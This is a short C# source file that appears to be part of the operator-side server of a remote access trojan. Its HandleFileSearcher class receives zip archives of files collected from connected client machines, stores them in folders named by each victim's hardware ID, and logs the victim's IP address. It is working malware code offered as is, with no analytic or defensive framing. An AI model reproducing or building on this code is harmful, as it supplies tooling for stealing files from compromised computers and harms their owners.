using Server.Connection; using Server.MessagePack; using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace Server.Handle_Packet { public class HandleFileSearcher { public async void SaveZipFile(Clients client, MsgPack unpack_msgpack) { try { string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "FileSearcher"); if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath); await Task.Run(() => { byte[] zipFile = unpack_msgpack.ForcePathObject("ZipFile").GetAsBytes(); File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".zip", zipFile); }); new HandleLogs().Addmsg($"Client {client.Ip} File Search success,file located @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/FileSearcher", Color.Purple); client.Disconnected(); } catch (Exception ex) { new HandleLogs().Addmsg($"File Search error {ex.Message}", Color.Red); } } } }